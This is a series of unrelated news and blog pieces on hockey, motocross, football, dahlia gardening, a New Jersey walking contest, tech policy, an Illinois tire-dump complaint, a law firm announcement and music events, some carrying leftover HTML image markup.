Like every Monday, head coach Paul MacLean made an appearance on The Team 1200's Healthy Scratches and addressed a variety of topics pertaining to the Senators. While much of the interview was standard fare, when asked to touch upon Nikita Filatov's performance in Binghamton, he had this to say:
"Well that's what we told him. 'You need to be better. Every part of your game needs to be better than it has been.' I thought he came into training camp and was of all the guys that we had — the Butlers, the Zibanejads and Da Costas and all that group that was there — he was the best guy in the first couple of days of training camp and exhibition games but he stayed there. He didn't get better. The other guys got better day-by-day-by-day and Niki just stayed the same. We need him to get better as well and we just felt that he'd have a better opportunity in Binghamton to work at his game on a daily basis and make himself a better player. For him to go down there and work on his game without the puck and with the puck; get some confidence with the puck scoring goals and he certainly did that going down there. We give him a lot of credit and a lot of respect for that. He's gone down there and done what we've asked him to do so the opportunity's going to be there if and when we need him."
And just like that, it's only taken Nikita Filatov three AHL games to put up Michel Picard-like production rates and do what the organization has asked of him.
It has always struck me as somewhat odd that Filatov was sent down to Binghamton after playing in only two regular season games while the Senators organization continued to extend every opportunity for an 18 year-old Mika Zibanejad to play on one of the team's top two lines. After listening to MacLean espouse the belief that one can only get better by playing and practicing in the NHL, I have to believe that there's more to the story of Filatov getting sent down because of his (lack of) production.
While on the subject of Zibanejad's nine game audition before the organization has to make a determination on where he's going to play the remainder of the season, MacLean had this to say:
"You've got to look at it from every angle that we can and that's definitely the way that we look at it – the number of games that he can play here and practice here. You can only get better by playing in the NHL and practicing in the NHL, I believe. But also, the player has to be ready for that grind and that mental part of it that it's all about. We have to make sure that we're going to do the right thing for Mika. We know that Mika's going to play in the NHL, whether it's going to be all of this year or all of next year remains to be seen. And we're just going to talk amongst ourselves and make a decision that's best for Mika.
He's big enough. He skates good enough to play in this league. The big thing is the speed of it. Is he going to able to handle the mind-speed and the speed of the puck moving? Right now, the only thing would be, if you're not here, it's hard to get up to speed if you're not here. So there are a lot of factors that are good and bad. We just have to make sure that Mika's going to comfortable if he's going to spend the time here."
If practicing and playing at the NHL-level are of the utmost importance for MacLean, then I'm just going to assume that it has something to do with where Filatov's head is at. That, or MacLean hates anagrams and how 'Nikita Filatov' can be arranged into 'Fail Ova Ink Tit'.
After sustaining a bruised foot by blocking a shot in Saturday night's game against the Washington Capitals, Sergei Gonchar is listed as day-to-day by the organization and isn't expected to miss any significant time. Even so, that hasn't stopped some fans from being thrilled at the prospect of Gonchar missing a game or two.
Of course, these are probably the same jerk-offs who believe that booing veteran defencemen like Gonchar and Filip Kuba will somehow encourage them to perform better.
Even if you're not willing to admit that the combination of old age and injuries to his knees have essentially rendered him a power play specialist, at the very least, you should still possess the wherewithal to acknowledge that he still can develop some utility as a potential trade candidate. In consequence, it only makes sense to support the guy and make life as easy possible for him in hopes that the Senators can get an asset that can help them win something tangible in the near future. In other words, the fact that people boo him or relish the thought of him being hurt for the sake of the team is just plain stupid.
Not surprisingly, according to Sergei Gonchar's agent and Dany Heatley mouthpiece, JP Barry, Gonchar is "flabbergasted" and upset by the booing that he's receiving from the Ottawa Senators faithful at Scotiabank Place this season.
No shit?
It's not like Barry held a gun to Bryan Murray's head and forced him to tack that third year onto Gonchar's deal. Murray knew the third year was essential to lure the slick defender to Ottawa. Correspondingly, it's not even like Gonchar was brought in after the organization changed its philosophy to a 'rebuild'. As one of the last remnants of a last ditch effort to remain competitive and pursue one of the low playoff seeds, he's just representative of the Senators last kick at Stanley's can before admitting defeat.
There is some blame to be passed around; I'm just not sure it's being appropriately distributed right now. Even then, if a GM with playoff aspirations was looking to augment his team using the 2010 unrestricted free agent list, with perhaps the exception of a Dan Hamhuis, an Anton Volchenkov or a Paul Martin, there's no one within reason who could have significantly helped the Senators. (Note: All apologies to Zenono Konopka signing for the league minimum. Also, the best FAs from this class re-signed with their own respective teams.)
Just check out the list of UFAs who were available at the time. It's probably one of the worst FA classes in history.
Imagine that the Senators actually signed one of those aforementioned three defencemen to five or six year term at that money?
As a fan of a rebuilding team, you should count your blessings.

Numerous studies have shown that walking has incredible health benefits. Walking daily can strengthen your heart and lungs, reduce blood pressure, increase good cholesterol, prevent osteoporosis and reduce back pain. Doctors now even believe that walking can even prevent your brain from shrinking as you get older and reduce the chances of developing dementia.
The Mayors Wellness Campaign has been an advocate of walking since our start in 2005. We have promoted mayors as "champions of community health" and many of our mayors have taken this to heart when it comes to walking. Across the state, municipalities have introduced walking clubs, annual walk-run races, new walking trails and other walking events as a part of their mission to achieve wellness for all community members.
With that in mind, the Mayors Wellness Campaign would like to issue a challenge to all municipalities in 2012.
We are seeking nominations for "New Jersey's 10 Best Towns for Walking."
Does your town have what it takes? Is it pedestrian-friendly? Do you have walking and hiking trails? Do you have a MWC Walking Club or program? Are community-wide walks organized? Does your town work to make parks, sidewalks and trails great destinations for walkers?
Whatever your community is doing to make it a great walking town, we want to know about it.
Fifth grade students participate in the River Day nature walk in Upper Saddle River.
Nominate your town as one of New Jersey's 10 Best Towns for Walking. You can find the nomination form and more details about the contest at www.mayorswellnesscampaign.org. Go online today to nominate your town! The winning town will be the host of our press conference announcing the 10 Best Towns for Walking and all 10 towns will receive a sign or flag they can display.
In just the short time that I have been Director of the Mayors Wellness Campaign, I've seen the hard work that our municipalities are putting into their wellness programs in all areas. Today, however, I'd like to highlight some of the things our MWC towns have done to incorporate walking into their local campaigns. These are just some of the examples of what a town can do to be a successful candidate for our contest.
The Borough of Madison's Rose City Steppers are a long-standing tradition among Madison's community members. The Steppers have embraced the Mayors Wellness Campaign, organizing weekly walks in the summer months, and monthly walks year-round. Madison's MWC, in conjunction with their Health Department, has put out a book called Madison Walks that features 20 walk maps, area highlights, fitness information and encouragement to exercise. Community members can join the Rose City Steppers for a donation fee, but a person does not have to join in order to participate in the walks. All walks are open to residents of Madison, Chatham Borough, Chatham Township and Morris Plains.
The Borough of Bay Head's Mayors Wellness Campaign, GO Bay Head!, set the goal of encouraging residents to remain physically active every day and to learn about and understand good nutrition. To meet their goal, GO Bay Head! provides a number of walking-related activities available to community members. In addition to providing maps of the community, the website directs residents to 'Tour the Town' by completing a half-mile walking tour. Centennial Park is also the site of many MWC activities, including Mayor's Walks, 5K runs, and 'Walk Wednesdays'—the town's program that gets students involved in walking or biking to school at least once a week. Bay Head's residents can also enjoy walking along the town's beaches, or on East Avenue, a 1-mile plus straight-away along the shore.
The Borough of Belmar has had success with community-wide walks and a "Walk and Talk" program featuring their mayor. The community walks take place two to three times a year on Belmar's boardwalk or in their municipal gym and have been very popular. Belmar's MWC organizes a walk in March specifically for senior citizens, along with a low-impact workout presented by a council member. 'Walk and Talk with the Mayor' invites residents to ask questions and air concerns to the mayor and other town officials. It begins at the north end of the boardwalk and travels the entire length—a 2.4 mile round trip.
The Upper Saddle River MWC has developed several programs to help their residents get walking. 'The Path to Fitness' is an individual walking program completed by residents on their own time. The town kicks off the program annually at their Upper Saddle River Day celebration. Pedometers, logs, and instructions and tips are given out to those wishing to start an individual walking program. This past year, a Girl Scout completing her gold project started a Saturday walking club for community members. Fifth grade students complete a yearly River Day walk organized through the borough's Environmental Committee. Residents of all ages participate in Arya's Walk, an annual walk-a-thon to raise funds for pediatric cancer research.
Many other towns have developed programs through their local Mayors Wellness Campaigns that involve getting their residents moving and walking. Hamilton (Mercer) and Northfield have walks with their mayors and council members throughout the year. Hillsborough has teamed up with the American Heart Association for an annual Heartwalk, and Hillsdale holds walks in conjunction with Walk Around Town. Nutley gets young residents walking with Walk to School Wednesdays and their Nutley Fit Kids program. Franklin Lakes hosts annual 5K fitness run/walks.
That is just a sample of the great work our MWC towns are doing to bring wellness to their communities. We are always looking for model towns to showcase. Please go to www.mayorswellnesscampaign.org today to nominate your town to be one of New Jersey's 10 Best Towns for Walking. We look forward to reading your entries and choosing our winners! The winning towns will be announced this fall.

Always Tomorrow
- Artist: Main Event
- Genre: Rap/Hip Hop
- Release Date: 11/11/2008
What sets Main Event apart from other hip hop artists? For starters, a natural gift to create a buzz combined with raw talent! Twenty-three year old Cody McGregor AKA Main Event launched his music career two years ago with his first concert and first ever public performance on the same stage graced by many well-known Canadian acts at the Orillia Opera House. One month later, he was the opening act for Juno award winning rap artist Choclair...and there was no turning back! A member of the Whitefish River First Nation on Manitoulin Island, Main Event is proud of his Ojibway/Mohawk heritage and felt a natural draw to the Canadian Aboriginal Music Awards (CAMA's). After attending an awards show he felt inspired to produce his own CD and made his dream come true with the release of 'Always Tomorrow'. Main Event has recieved a nomination for Best Male Artist '08 at the 10th annual CAMA's that were held on November 28, 2008 at the Roger's Centre in Toronto. Main Event is no stranger to the national scene. Last year he was a finalist in the National Bootlegger Generation B Competition to acknowledge dedicated youth doing what they love to do and making a difference in their community. The once timid, soft-spoken youth has matured into a full-bown musical powerhouse with an explosive stage presence but believes everyone has a unique gift to offer. 'Always Tomorrow' is a must have collection of catchy beats, thought provoking lyrics and also showcases local musicians Victor Horvath, Joey Zona and Akeem Romello to name a few. This CD is a testament to Cody's versatility as a hip hop artist, singer, songwriter and composer. ** Upcoming show Thursday, March 12th at Whitefish River Community Centre near Manitoulin Island as a part of a youth career forum.

Dean Wilson secured his first-ever AMA Pro Motocross title during the penultimate round with the double victory.
Monster Energy Pro Circuit Kawasaki's Dean Wilson clenched the 250 AMA Pro Motocross title a round early at the Steel City National on Saturday. The Scotsman rode to a dominating double victory in his class to cap off what has been a tremendously consistent season for Wilson and Mitch Payton's Pro Circuit squad. Geico Honda's Eli Tomac surfaced on the overall podium for the third time this season in second, with German Marvin Musquin putting KTM on the podium for the first time with back to back third-place motos.
In the first race Wilson nabbed the holeshot ahead of Geico Honda's Jimmy DeCotis and Justin Bogle. Bogle immediately grabbed second from DeCotis and set his sights on Wilson as the rookie proved eager to get toward the front. Following Bogle's failed pass attempts on Wilson, Tomac shot around DNA Shred Stix Yamaha's Ryan Sipes for third as DeCotis suffered a crash six laps into the moto. Pro Circuit Kawasaki's Broc Tickle also had a difficult start to the day after being forced out due to a mechanical problem. As the race wore on Tomac hunted down Bogle for second as the rookie began to fade. In the end Wilson took a wire-to-wire victory in the first contest, crossing the finish-line jump more than nine seconds ahead of Tomac. Musquin continued to make passes in the final laps to finish third, with Kawasaki's Tyla Rattray and Blake Baggett both finishing off the podium in fourth and fifth, respectively.
In the final moto of the day Musquin had a surprise holeshot to lead the first couple of turns. Once again Wilson jumped into the lead on the opening lap with Musquin, Tomac, Eleven10Mods Alex Martin and DNA Shred Stix Yamaha's Kyle Cunningham following. Tomac then snatched the lead from Wilson and started pulling away, but a mistake allowed Wilson to catch and eventually pass the Honda rider to reclaim the lead. Further back Baggett and Rattray were out of podium contention, with Baggett crashing out of fifth after hitting a sign on the side of the track. With Rattray and Baggett off the podium the stage was set for Wilson to be crowned the 2011 250 AMA Motocross Champion a round early. In the end Wilson took his second win for the day ahead of Tomac, with Musquin rounding out the podium. Rattray finished fourth overall and remains nine points ahead of Baggett as the final round approaches.

Phil Jones destined to lead England, says Steve Kean
Blackburn boss Steve Kean has no doubts Phil Jones will eventually become captain of England.
The 19-year-old left Ewood Park for Manchester United last summer. And already, Jones has made the £17million fee look like a bargain, turning in a string of impressive performances for the Red Devils, in addition to winning his first three England caps.
Illness permitting, Jones will face his former club at Old Trafford tomorrow, which will just offer Kean a sharp reminder of the talent he lost.
"I have not been surprised at how Phil Jones has settled into life at Manchester United one bit," said Kean.
"When I first saw Phil down at the academy I thought 'this boy is a player'. I always hoped he would captain our club. Now he is at Manchester United, I am sure he will captain them and he will captain England."
That Jones made just 40 appearances for the club he supported as a boy before being prised away by Sir Alex Ferguson just underlines what a difficult task the Premier League's second tier teams have in retaining their best players.
"I appreciate it is difficult. In the case of Phil, he was being offered Champions League football and we were getting a sizeable fee.
"And I always felt he would go straight into their team anyway such is his quality.
"He has proven that. The first indication was that he received a low squad number. That suggested he was going to play a lot of games.
"He will go on to become a very good player, of that I have absolutely no doubt at all."
Kean confirmed he will present Ferguson with a special bottle of red wine to toast the United manager's birthday. The Glaswegian turns 70 tomorrow.
He will also get the chance to personally thank his fellow Scot for the positive message he left, and then endorsed when Kean returned the phone call in the wake of the abuse he received following the pre-Christmas defeat by Bolton.
"We had a good chat," said Kean. "For him to take the time out to phone me with a message of support shows the stature of the man. I was really impressed by that.
"What he said was very encouraging. When you are getting managers like Sir Alex, Harry Redknapp, David Moyes and Alan Pardew saying hang in there, you are doing the right things, wait until you get your lads out of the treatment room and you will be fine, it gives you confidence.
"They have been in the game a long time and been in similar situations. I listen and take their advice because they have been round the block."
Meanwhile, Ryan Giggs believes Manchester United's vast experience can be a decisive factor in this season's title race.
"The experience that the manager, the players and the coaching staff have of what's required in the second half of the season, as well as the overall hunger and desire to win competitions will help us," Giggs said.
"Big players can't wait for big games and towards the end of the season the games just get bigger and bigger.
"You want that in the run-in - you want to be involved in big games and going for the title. That's why you become a footballer."

Dahlias are the darlings of summer gardens in northern and coastal U.S. climates. These natives of Mexico, introduced to Europe by the Spaniards in the late 18th century, produce large, colorful flowers in profusion. 'Little Beeswings' is a century-old hybrid popular with other gardeners in the USDA Zone 8 plant hardiness regions. " alt="" width="175" src="/sharedcontent/dws/img/v3/06-17-2010.NGD_17dahlia6.GQH2R69DT.1.jpg" onclick="return clickedImage(this);" height="233" onmouseover=" this.style.cursor='hand'"> 'Little Beeswings' is a century-old hybrid popular with other gardeners in the USDA Zone 8 plant hardiness regions.
They're inspirations for garden clubs and dahlia societies across the country, where annual competitions attract hundreds of challengers vying to grow the best dahlia blossoms. These events are as spirited as the national pumpkin weigh-ins each autumn.In North Texas, however, gardeners historically have been advised to generally avoid dahlias. Although the American Dahlia Society claims dahlia culture is similar to tomato culture - "if you can grow tomatoes in your garden, you can successfully grow dahlias" - the genus has a reputation for disappointing those of us with hot, humid summers.
You might ask why, if dahlias are natives of Mexico, they can't take our heat and humidity. The plant, used by the Aztecs medicinally and horticulturally, is native to Mexico's high mountain plateaus with warm days but cool nights. Cool summer nights: That's what Dallas cannot offer.
It turns out a few adventurous North Texas gardeners, though, have experimented with various dahlia classifications and, to everyone's surprise - including theirs - grown them with what they term great success. In spring, dahlias can be found at area big-box stores as tubers (dormant, bulbous root segments) or small plants. Tubers also can be purchased from mail-order nurseries.
These gardeners have shown you can live in Texas and enjoy these beautiful perennials in spite of the accepted belief that they just won't thrive here.
Kate Horne, an avid gardener in the C Streets near Lakewood Country Club, tried growing dahlias last year. She planted three tubers each of three dahlia varieties.
"I planted them in March, and they came up about four weeks later," Horne says. "They started blooming in June, and they kept blooming all the way until the end of October. They were just beautiful."
Her dahlias were types with midsize flowers 3 to 4 inches across, not the mini dahlias with quarter-size flowers or the giant, dinner-plate dahlias that northern gardeners enjoy.
Horne's success with these plants surprised her. "Everything I read said they weren't supposed to do that well here. The nurseries weren't even supposed to be carrying them because they weren't worth the trouble. But I read a blog from a gardener in Carrollton, and she said she had luck, especially when she provided good air circulation."
Horne planted her dahlias with plenty of distance between them, between 20 and 24 inches. This increased air movement, which helps prevent fungal diseases, such as powdery mildew.
"I did have a little powdery mildew earlier in the year, but that was no problem after the foliage was not so new and tender. I think the only other problem I had was a little slug and snail problem, but that wasn't bad either."
This spring, after planting additional tubers, she learned that the plants return more vigorously their second year in the ground. In mid-May, the new tubers had emerged about 4 inches from the ground. Meanwhile, the dahlias she planted in 2009 were already 2 feet high.
Staking and pruning
'Black Prince' was reintroduced in 2004 by Michigan-based Old House Gardens from Britain's National Collection. " alt="" width="175" src="/sharedcontent/dws/img/v3/06-17-2010.NGD_17dahlia5.GQH2R69DU.1.jpg" onclick="return clickedImage(this);" height="202" onmouseover=" this.style.cursor='hand'"> 'Black Prince' was reintroduced in 2004 by Michigan-based Old House Gardens from Britain's National Collection.
She also learned that a little staking and timely pruning will prevent dahlias from toppling their pretty flower faces into the dirt.
"Last year they got leggy and flopped. I've learned that I should have pinched the buds of new growth when they first start coming up. That will help make bushier plants that won't flop as much," Horne says.
She also has learned of dahlia veterans' use of tomato cages, which she is trying this year. Cut the legs from a tomato cage and place it upside down over newly emerging dahlias. Then bend the cut legs into staples and use them to secure the cage to the ground.
The dahlias will grow through the cage, which will provide support but be invisible to garden viewers.
Plant the right kinds
'Bishop of Llandaff'is an international favorite for its dark foliage and red-hot flowers. " alt="" width="175" src="/sharedcontent/dws/img/v3/06-17-2010.NGD_17dahlia7.GQH2R69DS.1.jpg" onclick="return clickedImage(this);" height="202" onmouseover=" this.style.cursor='hand'"> 'Bishop of Llandaff'is an international favorite for its dark foliage and red-hot flowers.
The secret to successful dahlia gardening in North Texas is selecting the right varieties, says John Morelock, a landscape consultant who lives in Lake Highlands. He's been successfully cultivating dahlias at his home for five years.
"The main criterion you have to pay attention to is to grow varieties that get no more than 30 inches tall," Morelock says. "These are the ones that tend to take the heat. The taller ones are also the ones that tend to have the bigger flowers - the dinner plates - and you're not going to have much success with those."
Purchasing the wrong types has led to the notion that dahlias don't do well in North Texas, Morelock says. "People say, 'I can't grow dahlias,' but they're not paying attention to the label and buying the smaller-growing ones."
He recommends the dahlias from the smaller-growing Gallery Series, which has varieties named after classical artists, artistic styles and other art themes. 'Art Fair' is one of his favorites, producing white flowers in profusion.
Plant tubers in March or early April in amended garden soil or containers with high-quality potting soil. Morelock says his dahlias perform equally well in full sun or part sun. He has had better luck with dahlias grown from tubers than those he purchased actively growing in pots. He digs a shallow hole for each multifingered tuber and covers it lightly. The soil should remain evenly moist, but tubers rot if watered too much before they sprout.
Cut dahlia stalks to the ground after the first freeze. Morelock marks his dahlia roots with a bamboo stake so he doesn't accidentally disturb them while they're dormant or plant something else where his prized dahlias are resting.
"Some people think you have to dig up the tubers every winter, store them and replant them," Morelock says. "I've never had any problem leaving mine in the ground through the winter. So I think that's entirely unnecessary."
At Old House Gardens in Ann Arbor, Mich., a mail-order resource for heirloom bulbs of all kinds, owner Scott Kunst has been collecting feedback about dahlias from his regular customers in the Deep South who defy his warnings to avoid dahlias.
On its website, oldhousegardens.com/ Dahlias-For-The-South.asp, Kunst writes, "John Kreiner of the Dahlia Society of Georgia has been growing dahlias in the Deep South for 31 years. He planted his first ones in zone 8b San Antonio way back when, and today he gardens in zone 8a Atlanta. Here's his simple but important advice: Mulch them, and even more important, grow dahlias that are heat tolerant."
The site lists hybrids that Kreiner has successfully cultivated, including pink 'Kidd's Climax,' cactus-flowered 'Juanita' and dark-maroon 'Prince Noir.' In full disclosure, Kunst also names dahlias he sent Kreiner that failed to perform.
Gardeners' notes about dahlias are included from customers in Beaumont and Houston, too. Maybe by following their advice, Dallas-area gardeners can rack up their own success stories.
Todd Davis is a freelance writer and a Texas certified nursery professional in Richardson.
email@example.com The dish on dahlias
It is too late to order and plant dahlias this year. The more popular varieties, either because of their reputation as strong growers or because a specific hybrid is in short supply, sell out quickly. That's especially true of dahlias advertised as good choices for high-heat areas.
To avoid disappointment, order dahlia tubers soon after receiving a company's spring 2011 catalog. Mail-order sources

The SOTU preview: Techies anticipate taxes, trade talk - Intel calls for modest agenda; TechNet looks for narrative - Data retention, patent reform on Hill today - FCC preps for vote on public safety
**With Kim Hart, Jen Martinez, Eliza Krigman and Brooks Boliek
WHAT TECHIES HOPE TO HEAR TONIGHT – All eyes today are on the White House as the president prepares for his final State of the Union address before the election season enters full swing. Much will be said of the politics of the evening – civility is the new buzzword, of course – but tech leaders have other topics on their mind: namely, taxes and trade.
Story Continued Below
Sources in the know say the comprehensive tax reform bug has bitten the White House, and that the president could present the issue during tonight's SOTU address. Trade is another topic that fits in well with the White House's new competitiveness agenda. Industry sources tell us they expect the president to try to galvanize congressional action on pending pacts with Colombia, Panama and Korea, which Obama emphasized in his 2010 address too. Stay tuned – we check in with TechNet's Rey Ramsey, Intel's Peter Cleveland and ITI's Dean Garfield below the jump.
SOTU 2.0? – But one thing is for sure: This isn't your grandfather's yearly address. Even a few years ago, applause functioned as the best indicator of how D's and R's felt about the speech as it happened. Now, it's more individual and real-time, and all on the Web. Those watching via the White House's website will be treated to visual aids that "provide context and emphasize key points," the W.H. announced this week. Administration officials will take questions via the Web and from a live audience while the GOP delivers its response, and the president himself will later join YouTube on Thursday for a special Q&A.
C-SPAN, meanwhile, is keeping track of members' tweets throughout the evening. And Facebook is set to aggregate on its politics page (http://on.fb.me/fAPmrM) the reactions from members, all the while polling users about their thoughts before, during and after the speech. As of press time, well over three-quarters of the network's users said the economy was the most important theme Obama should address. (Of course, your MT host will be on the ground soliciting reaction too.)
MEANWHILE, HOUSE JUDICIARY GEARS UP FOR PATENT, DATA HEARINGS – The IP subcommittee fields testimony on patent reform days after Pat Leahy introduced his bipartisan effort, while the crime panel tackles data retention and pornography. We check in with a few key witnesses for an early preview after the jump.
Good Tuesday morning, welcome back to Morning Tech – where we can only imagine what would have happened if a hacker edited Pres. Obama's Facebook profile to reflect he was not running in 2012. It didn't happen to the White House, of course, but we can't say French Pres. Nicolas Sarkozy was as lucky on Monday. A hacker revised his FB page to say Sarkozy would "not to run for office again at the end of my mandate in 2012" because of bad poll numbers, according to AFP. It isn't clear whether Sarkozy actually intends to run next year, and the French president did not reveal his plans even after the incident. But he did take a shot at the hacker, whose message was riddled with grammatical errors: "I have noted the writing and spelling lesson," Sarkozy said, "but do not subscribe to the rather hasty conclusions of the message." (Hat tip: http://bit.ly/fuiV1G )
Speaking of messages – keep those comments and tips coming. You can find our e-mail addresses after today's Speed Read.
TODAY: FIRST FB LABOR DISPUTE SLATED FOR RESOLUTION – The case of a woman who was fired from American Medical Response after she trashed her boss on Facebook could be settled before today's scheduled 10 a.m. court hearing in Hartford, Conn. There are settlement talks in progress, an NLRB spokesman tells MT, meaning there may not even be opening arguments this morning. This is the first time the agency has argued that employees' conversations with other co-workers about their bosses and other work matters are protected on social networks. Stay tuned.
MEANWHILE, OUT WEST: ITI, PATTON BOGGS CHAT 112TH CONGRESS – Both are out in the Valley to discuss what they expect from Washington this year. Look for remarks from ITI's Dean Garfield, former FCC Chairman Kevin Martin and Thomas Hale Boggs Jr., as well as other firm leaders like former Sens. John Breaux and Trent Lott
BUZZ: SENATE NEARING DEAL ON CMTE RATIOS – We're hearing from a few sources the upper chamber is nearing agreement on how many D's and R's will sit on each panel. If all holds true, Dems are only set to lose one seat on Commerce – but the party is unlikely to have to shed an actual member, as Dems can simply opt not to fill Byron Dorgan's vacant seat. We're still hearing Roy Blunt is a top candidate on the R side to take one of the GOP's panel vacancies.
PATENT PREVIEW – We told you yesterday new IP chairman Bob Goodlatte is very interested in reform, and we'll get a better idea of his thoughts after today's legislative hearing on the patent system, which includes testimony from USPTO chief David Kappos. Look for Kappos to note generally that he strongly supports House and Senate efforts to tweak a system he and others see as integral to economic recovery.

RSVP at www.mappingcongress.eventbrite.com Sponsored by Qualcomm—driving the mobile revolution. **
DATA RETENTION ALSO ON TAP – The crime subcommittee tackles data retention this morning, as it inquires whether ISPs ought to retain certain data for use by law enforcement as authorities crack down on child pornography and other crimes on the Web. Testifying this a.m. is Asst. AG Jason Weinstein, as well as Kate Dean, executive director of the U.S. Internet Provider Association and CDT's John Morris.
We checked in with Morris, who told us he would emphasize data retention differs greatly from data preservation. The latter standard allows law enforcement to tell ISPs to hold onto a customer's data while authorities seek a subpoena as part of an investigation into child pornography or another Internet crime. But data retention simply requires ISPs to keep all of the data about all of their users. Applied too generally and restrictively, Morris said it could raise "very serious privacy concerns, some free speech concerns, and potentially some very serious [obstacles to] innovation and competition in the Internet marketplace." (We should note, as Morris did, that is isn't clear what if any legislative action the subcommittee is considering at the moment.)
ALSO TODAY: FIRST STEPS FOR FIRST RESPONDERS' NETWORK – The FCC will take a small technical step toward building the nation's first interoperable public safety network at the commission's open meeting today. The NPRM is set to lay the technical groundwork for establishing the network by considering standards on encryption, priority access and other important specs.
What the meeting won't do, however, is address whether to auction the D-Block. Capitol Hill remains divided on the matter, and the FCC has yet to move ahead, in part because some lawmakers have asked the agency to hold off while Congress determines the best way forward. But that has hardly appeased Americans for Tax Reform, which chided the FCC for delay: "They spent two years twiddling their thumbs with a horrible and unnecessary policy move [re: net neutrality] instead of doing something that was actually relevant," said Kelly Cobb, government affairs manager for the group. Cobb's remarks came at a spectrum briefing held in the Senate yesterday afternoon by Connect Public Safety Now, which supports an auction. (So many Hill folks showed up to the meeting that many had to stand around the perimeter of the room, we should note.)
ALSO: RCA HITS AT&T, VERIZON ON NETWORK ROLLOUT – Rural Cellular Association Prez Steve Berry didn't hesitate on throwing Verizon and AT&T under the bus when asked if the companies' position on the D-Block is motivated by their bottom lines. "The fact of the matter is it is self-interest," Berry told MT. Both Verizon and AT&T support allocating the D-Block directly to public safety rather than auctioning it. "It's one way of making sure that you eliminate the competition in the market place from going to LGE 4G," Berry added.
ICYMI: BAKER TAKES ON NEW STAFFER – Jennifer Tatel is joining Meredith Attwell Baker's office as the commissioner's new legal adviser on media issues. Tatel takes the job after spending some time at the Media Bureau as its chief of the analysis division, a position she held after working as an attorney at Sidley Austin LLP on communications privacy and data security. Baker's team also announced late Monday that Krista Witanowski is now returning to the Media Bureau as its legal adviser, after spending some time on Baker's personal team.
TECHNET ON SOTU: DON'T FORGET THE NARRATIVE – Rey Ramsey reminds us that these speeches have as much to do about policy as they have to do with selling a "governing narrative." He told us SOTU addresses tend to become a "laundry list of micro proposals, or sometimes proposals that are dead-on-arrival on the Hill. So what we want to see is not only a governing narrative," he continued, "but something that has the pragmatism that survives Congress."
INTEL ON SOTU: AIM FOR "MODEST LEGISLATIVE AGENDA" – Intel's Peter Cleveland stressed to us the president tonight doesn't need to "advocate for home-run legislation," as he sketches out his plans for 2011. Instead, Cleveland said Obama should instead call for a "modest legislative agenda" that sets up the Hill to tackle taxes, trade, patent reform and broadband.
But the key question remains: Can Congress get it all done? Cleveland told us it'd require "working in good faith on both sides," and that he thought members could still find common ground. "Either you want to get something done, or you don't. Either you want to bicker on a partisan basis, or you're going to commit to achieving goals in certain areas. That's why I suggested a modest legislative agenda, seeing Republican control in the House and Democratic control of the Senate. ... If you try to push home-run legislation, you strike out."
AND ITI'S DEAN GARFIELD: EMPHASIZE CONSEQUENCES – The prez and CEO of ITI tells us Obama has to be "open and candid about the consequence of inaction" on the jobs and competitiveness front. Garfield added it was important for both Obama and Paul Ryan, who's delivering the GOP response, "to define a clear sense of common purpose and convince a still-economically-fraught nation why it must rise to the challenge. If America doesn't get this set of issues right (and soon), we are destined to relive what Japan experienced over the last decade."
ICYMI: CHINA FIRES BACK IN IP FIGHT WITH HUAWEI CHALLENGE – In what may be a new strategy in the Sino-American IP war, the Chinese telecom giant Huawei is going on the offensive. According to the company, it is suing American industrial icon Motorola saying the sale of the Schaumberg, Ill.-based company's wireless network equipment firm to Nokia-Siemens for $1.2 billion is IP theft. China is often painted as the outlaw country that copies others' ideas, and the Huawei suit is an indication that China is prepared to fight back, arguing that it too has ideas that need protection.
KENNY LOGGINS ON CAPITOL HILL? – Yep, that's right: Grammy-winning singer-songwriter Kenny Loggins hits the Hill as part of the Recording Academy musical briefing Wednesday. Loggins, whose string of hits became the theme songs for the 1970s, will play pitchman for the Grammy folks' policy agenda for this congress. Topping that list is the Performance Rights Act, which would give artists a royalty for songs aired on traditional radio. The bill nearly made it through last congress, but died in the end.

Attorney general cites Thomasboro tire recycler
THOMASBORO — A Champaign County tire recycling company has been cited by the Illinois attorney general's office for leaving thousands of tires out in the open.
Illinois Attorney General Lisa Madigan this week announced a multi-count complaint has been filed against Astro Tire Removal, 905 Church St., Thomasboro.
Illinois Environmental Protection Agency staff have been inspecting the property, a registered tire storage site since 2009. Over the years inspectors found tires stacked in piles and scattered, uncovered, about the grounds in violation of state environmental standards. Some of the waste tires were covered by overgrown vegetation, according to the Illinois EPA.
Water accumulating in tires can create a breeding ground for mosquitoes that carry the West Nile virus, according to health officials.
"Essentially, this business is an open dump in violation of Illinois law," Madigan said in a written statement. "I'm filing this complaint to ensure that the public health concerns at this site are addressed effectively," she said.
Madigan spokesman Scott Mulford said the case was referred to the attorney general's office from the EPA.
"We will work with the EPA in trying to get the place in compliance as soon as possible," he said.
The complaint, filed in Champaign County Circuit Court, alleges that Astro Tire Removal failed to document it had the financial resources to process the used tires and legally remove them from the site.
Each of the six counts carries a possible civil penalty of $50,000 and $10,000 per day the violations continue.

Kaufman & Canoles will also author articles on legal issues for the association's quarterly newsletter.
"We are honored to have gained the confidence and support of the Maryland|DC Credit Union Association," said Andy Keeney, co-chair of the Kaufman & Canoles' credit union team. "We bring considerable expertise to the Association, and we will strive to exceed all of their expectations. We specialize in credit union law because it impacts more than 100,000,000 consumers who utilize these services as an alternative to traditional banks."
Keeney (pictured above) serves as general counsel for numerous credit unions and he was a specially retained attorney by the NCUA. The firm's credit union team, co-chaired by Dustin H. DeVore, advises clients on consumer compliance issues, NCUA requirements and the rules governing credit union service organizations.
"We've known Andy Keeney for many years and have established a very good working relationship with him and his team," said John Bratsakis, president/CEO of MDDCCUA. "They have also provided legal counsel for many of the credit unions in the association over the years so we know this confidence is shared. The attorneys are nationally recognized as experts in the credit union practice area. Our executive team and board of directors are excited about what they will bring to the table through this partnership."

David Nagler Birthday Show!
Nova Social, Balthrop, Alabama, Chris Mills & Friends
DJs Mikey IQ Jones & Bottom Dollar
635 Sackett St
Brooklyn, NY, 11217
Doors 7:00 PM / Show 8:00 PM
This event is 21 and over
New York metropolitan area-based pop group Nova Social has been active in New York's underground pop scene for over ten years. The group's new full-length album, For Any Inconvenience, once again mates their ambitious songwriting with electronic and dance music influences. Nova Social has previously released two other full-lengths on their Big Sleep Records imprint, The Jefferson Fracture (2002) and Other Words from Tomorrow's Dictionary (2007), plus a self-titled EP (2009), and they contributed their cover of The Specials' "Little Bitch" to the '80s movie tribute High School Reunion. The group also recorded the theme song to Cartoon Network's "Calling Cat-22."
